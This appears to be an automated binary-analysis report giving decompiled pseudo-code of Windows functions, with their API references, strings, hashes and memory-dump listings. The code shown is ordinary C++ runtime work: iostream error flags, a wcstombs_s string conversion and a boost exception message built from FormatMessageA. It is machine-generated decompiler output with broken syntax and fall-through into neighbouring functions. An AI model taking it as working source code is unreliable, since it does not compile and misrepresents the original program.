				_t132 =  *0x16f170; // 0xd529e887
				_push(_t132 ^ _t254);
				 *[fs:0x0] =  &_v16;
				_v20 = _t259;
				_t247 = _a4;
				_t242 = 0;
				_t205 = 0;
				_v36 = 0;
				_v21 = 0;
				_v48 = _t247;
				_t207 =  *((intOrPtr*)( *((intOrPtr*)( *_t247 + 4)) + _t247 + 0x38));
				if(_t207 != 0) {
					 *((intOrPtr*)( *_t207 + 4))();
				}
				_push(1);
				_v8 = 0;
				_t137 = E0009F5C0(_t247, _t232, _t242, _t247);
				_v44 = _t137;
				_v8 = 1;
				if(_t137 == 0) {
					L21:
					_t242 = _t242 | 0x00000002;
				} else {
					_t228 = _a8;
					_t181 = _t228;
					_v8 = 2;
					 *((intOrPtr*)(_t228 + 0x10)) = 0;
					if( *((intOrPtr*)(_t228 + 0x14)) >= 0x10) {
						_t181 =  *_t228;
					}
					 *_t181 = 0;
					_v32 = _a12 & 0x000000ff;
					_t239 =  *((intOrPtr*)( *((intOrPtr*)( *_t247 + 4)) + _t247 + 0x38));
					_t186 =  *((intOrPtr*)( *((intOrPtr*)(_t239 + 0x1c))));
					_v28 = _t186;
					if(_t186 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t239 + 0x2c)))) <= 0) {
						_t188 =  *((intOrPtr*)( *_t239 + 0x18))();
						L9:
						_t228 = _a8;
					} else {
						_t188 =  *_v28 & 0x000000ff;
					}
					if(_t188 != 0xffffffff) {
						__eflags = _t188 - _v32;
						if(_t188 != _v32) {
							__eflags =  *((intOrPtr*)(_t228 + 0x10)) - 0x7fffffff;
							if( *((intOrPtr*)(_t228 + 0x10)) < 0x7fffffff) {
								_push(_t188);
								E00068840(_t228, _t247);
								_t205 = 1;
								_v21 = 1;
								_t188 = E0009FB20( *((intOrPtr*)( *((intOrPtr*)( *_t247 + 4)) + _t247 + 0x38)));
								goto L9;
							} else {
								_t242 = 2;
							}
						} else {
							_t205 = 1;
							_v21 = 1;
							_t231 =  *((intOrPtr*)( *((intOrPtr*)( *_t247 + 4)) + _t247 + 0x38));
							__eflags =  *( *(_t231 + 0x1c));
							if( *( *(_t231 + 0x1c)) == 0) {
								L16:
								 *((intOrPtr*)( *_t231 + 0x1c))();
							} else {
								_t240 =  *(_t231 + 0x2c);
								_t197 =  *_t240;
								__eflags = _t197;
								if(_t197 <= 0) {
									goto L16;
								} else {
									 *_t240 = _t197 - 1;
									 *( *(_t231 + 0x1c)) =  *( *(_t231 + 0x1c)) + 1;
								}
							}
						}
					} else {
						_t29 = _t188 + 2; // 0x2
						_t242 = _t29;
					}
					_v8 = 1;
					if(_t205 == 0) {
						goto L21;
					}
				}
				_t233 =  *((intOrPtr*)( *_t247 + 4));
				_t234 = _t233 + _t247;
				_t140 =  *(_t233 + _t247 + 0xc) | _t242;
				_t211 =  !=  ? _t140 : _t140 | 0x00000004;
				_t212 = ( !=  ? _t140 : _t140 | 0x00000004) & 0x00000017;
				 *(_t234 + 0xc) = _t212;
				_t142 =  *(_t234 + 0x10) & _t212;
				if(_t142 != 0) {
					__eflags = _t142 & 0x00000004;
					if((_t142 & 0x00000004) == 0) {
						__eflags = _t142 & 0x00000002;
						_t249 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
					} else {
						_t249 = "ios_base::badbit set";
					}
					_t145 = E00052DA0(_t205, _t234, _t242,  &_v40, 1);
					_t260 = _t259 + 8;
					E00053440( &_v68, _t249, _t145);
					E001047B7( &_v68, 0x16d254);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t254);
					_t255 = _t260;
					_push(0xffffffff);
					_push(0x1326d8);
					_push( *[fs:0x0]);
					_t261 = _t260 - 0x54;
					_t150 =  *0x16f170; // 0xd529e887
					_t151 = _t150 ^ _t255;
					_v100 = _t151;
					_push(_t249);
					_push(_t242);
					_push(_t151);
					 *[fs:0x0] = _t255 - 0xc;
					_t153 = _v68;
					_t243 = _v72;
					_t214 = _v76;
					_t250 =  *((intOrPtr*)(_t255 + 0x14));
					_v156 = _t214;
					 *((intOrPtr*)(_t255 - 0x44)) = _t153;
					__eflags = _t243 - _t153;
					if(_t243 == _t153) {
						L40:
						 *_t214 = _t250;
						 *[fs:0x0] = _v20;
						__eflags = _v24 ^ _t255;
						return E000ECED8(_v24 ^ _t255);
					} else {
						do {
							_t157 = _a16( &_v72, _t243);
							_t261 = _t261 + 8;
							asm("movups xmm0, [eax]");
							asm("movups [ebp-0x60], xmm0");
							asm("movups [ebp-0x28], xmm0");
							asm("movq xmm0, [eax+0x10]");
							 *((intOrPtr*)(_t157 + 0x10)) = 0;
							 *(_t157 + 0x14) = 7;
							 *_t157 = 0;
							asm("movq [ebp-0x50], xmm0");
							asm("movq [ebp-0x18], xmm0");
							E00054B10(_t205,  &_v72, _t243, _t250);
							_t159 =  *((intOrPtr*)(_t250 + 4));
							_v12 = 0;
							__eflags =  *((intOrPtr*)(_t250 + 8)) - _t159;
							if( *((intOrPtr*)(_t250 + 8)) == _t159) {
								E000858E0(_t250, _t159,  &_v48);
								_t235 = _v28;
							} else {
								asm("movups xmm0, [ebp-0x60]");
								_t235 = 7;
								asm("movups [eax], xmm0");
								asm("movq xmm0, [ebp-0x50]");
								asm("movq [eax+0x10], xmm0");
								 *((intOrPtr*)(_t250 + 4)) =  *((intOrPtr*)(_t250 + 4)) + 0x18;
								_v48 = 0;
							}
							_v12 = 1;
							__eflags = _t235 - 8;
							if(_t235 < 8) {
								goto L38;
							} else {
								_t223 = _v48;
								_t236 = 2 + _t235 * 2;
								_t161 = _t223;
								__eflags = _t236 - 0x1000;
								if(_t236 < 0x1000) {
									L37:
									_push(_t236);
									E000ED2D0(_t223);
									_t261 = _t261 + 8;
									goto L38;
								} else {
									_t223 =  *((intOrPtr*)(_t223 - 4));
									_t236 = _t236 + 0x23;
									__eflags = _t161 - _t223 + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										E0010F44B(_t205, _t223, _t236, _t243, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t237 =  *((intOrPtr*)(_t261 + 4));
										 *((intOrPtr*)(_t223 + 0x10)) = 0;
										 *((intOrPtr*)(_t223 + 0x14)) = 0;
										asm("movups xmm0, [edx]");
										asm("movups [ecx], xmm0");
										asm("movq xmm0, [edx+0x10]");
										asm("movq [ecx+0x10], xmm0");
										 *((intOrPtr*)(_t237 + 0x10)) = 0;
										 *((intOrPtr*)(_t237 + 0x14)) = 0xf;
										 *_t237 = 0;
										 *((intOrPtr*)(_t223 + 0x18)) =  *((intOrPtr*)(_t237 + 0x18));
										 *((intOrPtr*)(_t223 + 0x1c)) = 0;
										 *((intOrPtr*)(_t223 + 0x20)) = 0;
										 *((intOrPtr*)(_t223 + 0x24)) = 0;
										 *((intOrPtr*)(_t223 + 0x1c)) =  *((intOrPtr*)(_t237 + 0x1c));
										 *((intOrPtr*)(_t223 + 0x20)) =  *((intOrPtr*)(_t237 + 0x20));
										 *((intOrPtr*)(_t223 + 0x24)) =  *((intOrPtr*)(_t237 + 0x24));
										 *((intOrPtr*)(_t237 + 0x1c)) = 0;
										 *((intOrPtr*)(_t237 + 0x20)) = 0;
										 *((intOrPtr*)(_t237 + 0x24)) = 0;
										 *((intOrPtr*)(_t223 + 0x28)) = 0;
										 *((intOrPtr*)(_t223 + 0x2c)) = 0;
										 *((intOrPtr*)(_t223 + 0x30)) = 0;
										 *((intOrPtr*)(_t223 + 0x28)) =  *((intOrPtr*)(_t237 + 0x28));
										 *((intOrPtr*)(_t223 + 0x2c)) =  *((intOrPtr*)(_t237 + 0x2c));
										 *((intOrPtr*)(_t223 + 0x30)) =  *((intOrPtr*)(_t237 + 0x30));
										 *((intOrPtr*)(_t237 + 0x28)) = 0;
										 *((intOrPtr*)(_t237 + 0x2c)) = 0;
										 *((intOrPtr*)(_t237 + 0x30)) = 0;
										 *((char*)(_t223 + 0x34)) =  *(_t237 + 0x34) & 0x000000ff;
										 *((char*)(_t223 + 0x35)) =  *(_t237 + 0x35) & 0x000000ff;
										return _t223;
									} else {
										goto L37;
									}
								}
							}
							goto L43;
							L38:
							_t243 = _t243 + 0x18;
							_v12 = 0xffffffff;
							__eflags = _t243 - _v76;
						} while (_t243 != _v76);
						_t214 = _v80;
						goto L40;
					}
				} else {
					_t224 = _v48;
					_v8 = 4;
					_t225 =  *((intOrPtr*)( *((intOrPtr*)( *_v48 + 4)) + _t224 + 0x38));
					if(_t225 != 0) {
						 *((intOrPtr*)( *_t225 + 8))();
					}
					 *[fs:0x0] = _v16;
					return _t247;
				}
				L43:
			}

0x0009ecb1
0x0009ecb3
0x0009ecb5
0x0009ecc0
0x0009ecc1
0x0009ecc4
0x0009ecc5
0x0009ecc6
0x0009ecc7
0x0009ecce
0x0009ecd2
0x0009ecd8
0x0009ecdb
0x0009ecde
0x0009ece0
0x0009ece2
0x0009ece5
0x0009ece8
0x0009ecf0
0x0009ecf6
0x0009ecfa
0x0009ecfa
0x0009ecfd
0x0009ed01
0x0009ed08
0x0009ed0d
0x0009ed10
0x0009ed19
0x0009ee0a
0x0009ee0a
0x0009ed1f
0x0009ed1f
0x0009ed22
0x0009ed24
0x0009ed2c
0x0009ed33
0x0009ed35
0x0009ed35
0x0009ed37
0x0009ed3e
0x0009ed46
0x0009ed4d
0x0009ed4f
0x0009ed54
0x0009ed6a
0x0009ed6d
0x0009ed6d
0x0009ed5e
0x0009ed61
0x0009ed61
0x0009ed73
0x0009ed7d
0x0009ed80
0x0009edb2
0x0009edb9
0x0009edc2
0x0009edc3
0x0009edca
0x0009edcc
0x0009edd6
0x00000000
0x0009edbb
0x0009edbb
0x0009edbb
0x0009ed82
0x0009ed84
0x0009ed86
0x0009ed8c
0x0009ed93
0x0009ed96
0x0009edab
0x0009edad
0x0009ed98
0x0009ed98
0x0009ed9b
0x0009ed9d
0x0009ed9f
0x00000000
0x0009eda1
0x0009eda2
0x0009eda7
0x0009eda7
0x0009ed9f
0x0009ed96
0x0009ed75
0x0009ed75
0x0009ed75
0x0009ed75
0x0009edff
0x0009ee08
0x00000000
0x00000000
0x0009ee08
0x0009ee0f
0x0009ee16
0x0009ee18
0x0009ee23
0x0009ee29
0x0009ee2c
0x0009ee2f
0x0009ee31
0x0009ee63
0x0009ee65
0x0009ee6e
0x0009ee7a
0x0009ee67
0x0009ee67
0x0009ee67
0x0009ee83
0x0009ee88
0x0009ee90
0x0009ee9e
0x0009eea3
0x0009eea4
0x0009eea5
0x0009eea6
0x0009eea7
0x0009eea8
0x0009eea9
0x0009eeaa
0x0009eeab
0x0009eeac
0x0009eead
0x0009eeae
0x0009eeaf
0x0009eeb0
0x0009eeb1
0x0009eeb3
0x0009eeb5
0x0009eec0
0x0009eec1
0x0009eec4
0x0009eec9
0x0009eecb
0x0009eece
0x0009eecf
0x0009eed0
0x0009eed4
0x0009eeda
0x0009eedd
0x0009eee0
0x0009eee3
0x0009eee6
0x0009eee9
0x0009eeec
0x0009eeee
0x0009efc4
0x0009efc4
0x0009efcb
0x0009efd8
0x0009efe2
0x0009eef4
0x0009eef4
0x0009eef9
0x0009eefe
0x0009ef01
0x0009ef04
0x0009ef08
0x0009ef0c
0x0009ef11
0x0009ef18
0x0009ef1f
0x0009ef25
0x0009ef2a
0x0009ef2f
0x0009ef34
0x0009ef37
0x0009ef3e
0x0009ef41
0x0009ef6c
0x0009ef71
0x0009ef43
0x0009ef43
0x0009ef47
0x0009ef4c
0x0009ef4f
0x0009ef54
0x0009ef5b
0x0009ef5f
0x0009ef5f
0x0009ef74
0x0009ef7b
0x0009ef7e
0x00000000
0x0009ef80
0x0009ef80
0x0009ef83
0x0009ef8a
0x0009ef8c
0x0009ef92
0x0009efa4
0x0009efa4
0x0009efa6
0x0009efab
0x00000000
0x0009ef94
0x0009ef94
0x0009ef97
0x0009ef9f
0x0009efa2
0x0009efe3
0x0009efe8
0x0009efe9
0x0009efea
0x0009efeb
0x0009efec
0x0009efed
0x0009efee
0x0009efef
0x0009eff0
0x0009eff4
0x0009effb
0x0009f002
0x0009f005
0x0009f008
0x0009f00d
0x0009f012
0x0009f019
0x0009f020
0x0009f026
0x0009f029
0x0009f030
0x0009f037
0x0009f041
0x0009f047
0x0009f04d
0x0009f050
0x0009f057
0x0009f05e
0x0009f065
0x0009f06c
0x0009f073
0x0009f07d
0x0009f083
0x0009f089
0x0009f08c
0x0009f093
0x0009f09a
0x0009f0a5
0x0009f0ac
0x0009f0b1
0x00000000
0x00000000
0x00000000
0x0009efa2
0x0009ef92
0x00000000
0x0009efae
0x0009efae
0x0009efb1
0x0009efb8
0x0009efb8
0x0009efc1
0x00000000
0x0009efc1
0x0009ee33
0x0009ee33
0x0009ee36
0x0009ee42
0x0009ee48
0x0009ee4c
0x0009ee4c
0x0009ee54
0x0009ee62
0x0009ee62
0x00000000

APIs

Part of subcall function 0009F5C0: __CxxThrowException@8.LIBVCRUNTIME ref: 0009F7A9
Part of subcall function 0009F5C0: __CxxThrowException@8.LIBVCRUNTIME ref: 0009F7EB

Part of subcall function 00052DA0: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 00052DA0: _free.LIBCMT ref: 0010F62E
Part of subcall function 00052DA0: _free.LIBCMT ref: 0010F654

__CxxThrowException@8.LIBVCRUNTIME ref: 0009EE9E

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

ios_base::eofbit set, xrefs: 0009EE75
ios_base::failbit set, xrefs: 0009EE70
ios_base::badbit set, xrefs: 0009EE67, 0009EE8F

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$_free$ExceptionRaise_abort
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 808505973-1866435925
Opcode ID: a4a4c6e1fffc48a9f8be58a657ad0dec469be14fd83a0dab0762092edee4a0b1
Instruction ID: e81c13ef4936d1954358505197fb362dede591a483f03b0f7bcc723024efb1e8
Opcode Fuzzy Hash: a4a4c6e1fffc48a9f8be58a657ad0dec469be14fd83a0dab0762092edee4a0b1
Instruction Fuzzy Hash: D8516570A01284CFDB54CF68C484BA9BBF1FF09314F2485AAE8569B3A2C731ED41DB90

Uniqueness

Uniqueness Score: 1.31%

Function 000B3BC0, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 169
UNIQUE

Download Yara Rule

C-Code - Quality: 54%

			E000B3BC0(void* __ebx, void* __edi, char* _a4, long _a8, char _a12) {
				void* _v4;
				long _v8;
				char _v16;
				signed int _v20;
				long _v24;
				long _v28;
				char _v44;
				char _v84;
				char _v108;
				char _v132;
				long _v136;
				char* _v140;
				intOrPtr _v164;
				void* __esi;
				void* __ebp;
				signed int _t69;
				signed int _t70;
				void* _t72;
				void* _t75;
				void* _t81;
				void* _t88;
				int _t92;
				intOrPtr* _t93;
				intOrPtr _t95;
				void* _t101;
				void* _t103;
				void* _t110;
				long _t113;
				long _t116;
				char* _t119;
				void* _t127;
				long _t128;
				long _t129;
				long _t131;
				intOrPtr _t133;
				char* _t136;
				intOrPtr* _t138;
				signed int _t142;
				void* _t144;
				void* _t147;
				void* _t148;
				void* _t149;
				void* _t150;
				void* _t153;
				void* _t155;

				_t112 = __ebx;
				_push(0xffffffff);
				_push(0x134ed8);
				_push( *[fs:0x0]);
				_t148 = _t147 - 0x7c;
				_t69 =  *0x16f170; // 0xd529e887
				_t70 = _t69 ^ _t142;
				_v20 = _t70;
				_push(_t70);
				 *[fs:0x0] =  &_v16;
				_t136 = _a4;
				_t131 = _a8;
				_v140 = _t136;
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				_t113 = _t131;
				_v8 = 0;
				_v136 = 0;
				_t127 = _t113 + 2;
				do {
					_t72 =  *_t113;
					_t113 = _t113 + 2;
				} while (_t72 != 0);
				_v140 = 2 + (_t113 - _t127 >> 1) * 2;
				_t75 = E00111341( &_v136, 0, 0, _t131, 2 + (_t113 - _t127 >> 1) * 2);
				_t149 = _t148 + 0x14;
				if(_t75 == 0) {
					_t116 = _v136;
					_t76 = _v28;
					if(_t116 > _v28) {
						E00068CC0( &_v44, _t136, _t116 - _t76, 0);
					} else {
						_v28 = _t116;
						_t108 =  >=  ? _v44 :  &_v44;
						 *((char*)(( >=  ? _v44 :  &_v44) + _t116)) = 0;
					}
					_t79 =  >=  ? _v44 :  &_v44;
					_t81 = E00111341( &_v136,  >=  ? _v44 :  &_v44, _v136, _t131, _v140);
					_t150 = _t149 + 0x14;
					if(_t81 == 0) {
						_t119 = _v28;
						if(_t119 == 0) {
							L15:
							asm("movups xmm0, [ebp-0x28]");
							 *(_t136 + 0x10) = 0;
							 *(_t136 + 0x14) = 0;
							asm("movups [esi], xmm0");
							_v44 = 0;
							asm("movq xmm0, [ebp-0x18]");
							asm("movq [esi+0x10], xmm0");
							_v28 = 0;
							_v24 = 0xf;
							goto L16;
						} else {
							_t131 = _v24;
							_t128 = _v136;
							_t86 =  >=  ? _v44 :  &_v44;
							if( *((char*)(( >=  ? _v44 :  &_v44) + _t128 - 1)) != 0) {
								goto L15;
							} else {
								_t129 = _t128 - 1;
								if(_t119 < _t129) {
									goto L19;
								} else {
									_v28 = _t129;
									_t99 =  >=  ? _v44 :  &_v44;
									 *((char*)(( >=  ? _v44 :  &_v44) + _t129)) = 0;
									goto L15;
								}
							}
						}
					} else {
						if(_a12 == 0) {
							goto L4;
						} else {
							_t101 = E000AD490(_t112, _t127,  &_v132, _t81, 0xa);
							_v8 = 3;
							_t103 = E0006CC90( &_v108, "StringNarrow: wcstombs_s() call failed with error ", _t101);
							_t150 = _t150 + 0x18;
							_v8 = 4;
							goto L18;
						}
					}
				} else {
					if(_a12 != 0) {
						_t110 = E000AD490(__ebx, _t127,  &_v108, _t75, 0xa);
						_v8 = 1;
						_t103 = E0006CC90( &_v132, "StringNarrow: wcstombs_s() call failed with error ", _t110);
						_t150 = _t149 + 0x18;
						_v8 = 2;
						L18:
						_t119 =  &_v84;
						E00059080(_t103);
						E001047B7( &_v84, 0x16c9bc);
						L19:
						E0006AE60(_t119, _t131);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t142);
						_t144 = _t150;
						_push(_t131);
						_t133 = _v140;
						_push(_t133); // executed
						_t88 = E00110641(_t119); // executed
						_t153 = _t150 - 0xc + 4;
						if(_t88 != 0) {
							L25:
							return _t88;
						} else {
							_push(_t136);
							while(1) {
								_t138 = E000DAA35(0);
								_t155 = _t153 + 4;
								if(_t138 == 0) {
									break;
								}
								E000DAA35(_t138);
								 *_t138();
								_push(_t133);
								_t88 = E00110641(_t119);
								_t153 = _t155 + 8;
								if(_t88 == 0) {
									continue;
								} else {
									goto L25;
								}
								goto L33;
							}
							_t64 =  &_v20; // 0x9323f
							E00051BF0(_t64);
							_t65 =  &_v20; // 0x9323f
							_t92 = E001047B7(_t65, 0x16ccc4);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t144);
							if(_v164 != 0) {
								_t92 = HeapFree( *0x17a2a8, 0, _v4);
								if(_t92 == 0) {
									_push(_t138);
									_t93 = E0010FAC5();
									_t95 = E0010FA4C(GetLastError());
									 *_t93 = _t95;
									return _t95;
								}
							}
							return _t92;
						}
					} else {
						L4:
						 *(_t136 + 0x10) = 0;
						 *(_t136 + 0x14) = 0xf;
						 *_t136 = 0;
						L16:
						E00060F60(_t112,  &_v44, _t131);
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t142);
					}
				}
				L33:
			}

0x000b3bc0
0x000b3bc3
0x000b3bc5
0x000b3bd0
0x000b3bd1
0x000b3bd4
0x000b3bd9
0x000b3bdb
0x000b3be0
0x000b3be4
0x000b3bea
0x000b3bed
0x000b3bf0
0x000b3bf6
0x000b3bfd
0x000b3c04
0x000b3c08
0x000b3c0a
0x000b3c11
0x000b3c1b
0x000b3c20
0x000b3c20
0x000b3c23
0x000b3c26
0x000b3c3a
0x000b3c49
0x000b3c4e
0x000b3c53
0x000b3c75
0x000b3c7b
0x000b3c80
0x000b3c9e
0x000b3c82
0x000b3c89
0x000b3c8c
0x000b3c90
0x000b3c90
0x000b3cb7
0x000b3cc3
0x000b3cc8
0x000b3ccd
0x000b3d00
0x000b3d05
0x000b3d3b
0x000b3d3b
0x000b3d3f
0x000b3d46
0x000b3d4d
0x000b3d50
0x000b3d54
0x000b3d59
0x000b3d5e
0x000b3d65
0x00000000
0x000b3d07
0x000b3d07
0x000b3d0d
0x000b3d16
0x000b3d1f
0x00000000
0x000b3d21
0x000b3d21
0x000b3d24
0x00000000
0x000b3d2a
0x000b3d2d
0x000b3d33
0x000b3d37
0x00000000
0x000b3d37
0x000b3d24
0x000b3d1f
0x000b3ccf
0x000b3cd3
0x00000000
0x000b3cd5
0x000b3cdc
0x000b3ce5
0x000b3cef
0x000b3cf4
0x000b3cf7
0x00000000
0x000b3cf7
0x000b3cd3
0x000b3c55
0x000b3c59
0x000b3d98
0x000b3da1
0x000b3dab
0x000b3db0
0x000b3db3
0x000b3db7
0x000b3db8
0x000b3dbb
0x000b3dc9
0x000b3dce
0x000b3dce
0x000b3dd3
0x000b3dd4
0x000b3dd5
0x000b3dd6
0x000b3dd7
0x000b3dd8
0x000b3dd9
0x000b3dda
0x000b3ddb
0x000b3ddc
0x000b3ddd
0x000b3dde
0x000b3ddf
0x000b3de0
0x000b3de1
0x000b3de6
0x000b3de7
0x000b3dea
0x000b3deb
0x000b3df0
0x000b3df5
0x000b3e1e
0x000b3e22
0x000b3df7
0x000b3df7
0x000b3df8
0x000b3dff
0x000b3e01
0x000b3e06
0x00000000
0x00000000
0x000b3e09
0x000b3e0e
0x000b3e10
0x000b3e11
0x000b3e16
0x000b3e1b
0x00000000
0x000b3e1d
0x00000000
0x000b3e1d
0x00000000
0x000b3e1b
0x000b3e23
0x000b3e26
0x000b3e30
0x000b3e34
0x000b3e39
0x000b3e3a
0x000b3e3b
0x000b3e3c
0x000b3e3d
0x000b3e3e
0x000b3e3f
0x0011d5c9
0x0011d5d0
0x0011d5dd
0x0011d5e5
0x0011d5e7
0x0011d5e8
0x0011d5f6
0x0011d5fc
0x00000000
0x0011d5fe
0x0011d5e5
0x0011d600
0x0011d600
0x000b3c5f
0x000b3c5f
0x000b3c5f
0x000b3c66
0x000b3c6d
0x000b3d6c
0x000b3d6f
0x000b3d79
0x000b3d90
0x000b3d90
0x000b3c59
0x00000000

APIs

__cftoe.LIBCMT ref: 000B3C49
__cftoe.LIBCMT ref: 000B3CC3

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000B3DC9

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

StringNarrow: wcstombs_s() call failed with error , xrefs: 000B3CE9, 000B3DA5

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: __cftoe$ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure
String ID: StringNarrow: wcstombs_s() call failed with error
API String ID: 3869004295-1818402112
Opcode ID: 999ad7b1d3e8113811db60cd4994a61b0c79ffdcbabbe78a004dadfe66f17113
Instruction ID: eafd0c5e778b306c6bdbcf543f4a0334e39a7efee8ef44f90e49bac2091793bc
Opcode Fuzzy Hash: 999ad7b1d3e8113811db60cd4994a61b0c79ffdcbabbe78a004dadfe66f17113
Instruction Fuzzy Hash: D151BF71D003499BDF20DFA4C845BEEBBF8BF18310F544559E441B7282DB74AA84CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 000557B0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 137
windowUNIQUE

Download Yara Rule

C-Code - Quality: 54%

			E000557B0(void* __ebx, void* __ecx, void* __edi, void* __esi, char _a4) {
				void* _v8;
				char _v16;
				intOrPtr _v20;
				char _v24;
				void* _v28;
				signed int _t44;
				long _t49;
				void* _t60;
				intOrPtr _t64;
				intOrPtr* _t69;
				intOrPtr* _t71;
				char _t75;
				void* _t80;
				intOrPtr* _t83;
				void* _t84;
				intOrPtr _t85;
				void* _t86;
				intOrPtr* _t87;
				void* _t88;
				intOrPtr _t89;
				intOrPtr _t90;
				intOrPtr _t91;
				void* _t93;
				intOrPtr* _t96;
				void* _t98;
				void* _t99;
				signed int _t104;
				intOrPtr _t105;

				_t72 = __ebx;
				_push(0xffffffff);
				_push(0x12cee3);
				_push( *[fs:0x0]);
				_t105 = _t104 - 0xc;
				_push(__ebx);
				_t44 =  *0x16f170; // 0xd529e887
				_push(_t44 ^ _t104);
				 *[fs:0x0] =  &_v16;
				_v20 = _t105;
				_t93 = __ecx;
				_v28 = __ecx;
				asm("xorps xmm0, xmm0");
				asm("movq [edi+0x4], xmm0");
				_v8 = 0;
				_t96 = __ecx + 0x14;
				_t75 = _a4;
				 *__ecx = 0x1522b8;
				 *(__ecx + 0xc) =  *_t75;
				 *((intOrPtr*)(__ecx + 0x10)) =  *((intOrPtr*)(_t75 + 4));
				 *(_t96 + 0x10) = 0;
				 *((intOrPtr*)(_t96 + 0x14)) = 0xf;
				 *_t96 = 0;
				_v8 = 2;
				_t49 =  *(__ecx + 0xc);
				if(_t49 == 0) {
					_push(0x2c);
					E00068B90(_t96, _t88, _t96, "boost::interprocess_exception::library_error");
					goto L20;
				} else {
					if(FormatMessageA(0x1300, 0, _t49, 0x400,  &_a4, 0, 0) == 0) {
						_t89 =  *((intOrPtr*)(_t96 + 0x14));
						_t80 =  *(_t96 + 0x10);
						__eflags = _t89 - _t80 - 0x23;
						if(_t89 - _t80 < 0x23) {
							_push(0x23);
							_v24 = 0;
							E00070440(__ebx, _t96, _t93, 0x23, _v24, "WinApi FormatMessage returned error");
						} else {
							_t28 = _t80 + 0x23; // 0x23
							 *(_t96 + 0x10) = _t28;
							__eflags = _t89 - 0x10;
							if(_t89 >= 0x10) {
								_t96 =  *_t96;
							}
							_t98 = _t96 + _t80;
							E00104E60(_t98, "WinApi FormatMessage returned error", 0x23);
							 *((char*)(_t98 + 0x23)) = 0;
						}
						goto L20;
					} else {
						E000647F0(_t96, _a4);
						LocalFree(_a4);
						while(1) {
							_t60 =  *(_t96 + 0x10);
							if(_t60 == 0) {
								break;
							}
							_t90 =  *((intOrPtr*)(_t96 + 0x14));
							_t83 = _t96;
							if(_t90 >= 0x10) {
								_t83 =  *_t96;
							}
							if( *((char*)(_t83 + _t60 - 1)) == 0xa) {
								L10:
								_t23 = _t60 - 1; // -1
								_t84 = _t23;
								if(_t60 < _t84) {
									E0006AE60(_t84, _t93);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t96);
									_t99 = _t84;
									 *_t99 = 0x1522b8;
									_t85 =  *((intOrPtr*)(_t99 + 0x28));
									__eflags = _t85 - 0x10;
									if(_t85 < 0x10) {
										L27:
										 *(_t99 + 0x24) = 0;
										 *((intOrPtr*)(_t99 + 0x28)) = 0xf;
										 *((char*)(_t99 + 0x14)) = 0;
										 *_t99 = 0x13a468;
										return E00104241(_t99 + 4);
									} else {
										_t64 =  *((intOrPtr*)(_t99 + 0x14));
										_t86 = _t85 + 1;
										__eflags = _t86 - 0x1000;
										if(_t86 < 0x1000) {
											L26:
											_push(_t86);
											E000ED2D0(_t64);
											_t105 = _t105 + 8;
											goto L27;
										} else {
											_t91 =  *((intOrPtr*)(_t64 - 4));
											_t86 = _t86 + 0x23;
											__eflags = _t64 - _t91 + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												E0010F44B(_t72, _t86, _t91, _t93, __eflags);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												__eflags =  *((intOrPtr*)(_t86 + 0x28)) - 0x10;
												_t69 = _t86 + 0x14;
												if( *((intOrPtr*)(_t86 + 0x28)) >= 0x10) {
													return  *_t69;
												}
												return _t69;
											} else {
												_t64 = _t91;
												goto L26;
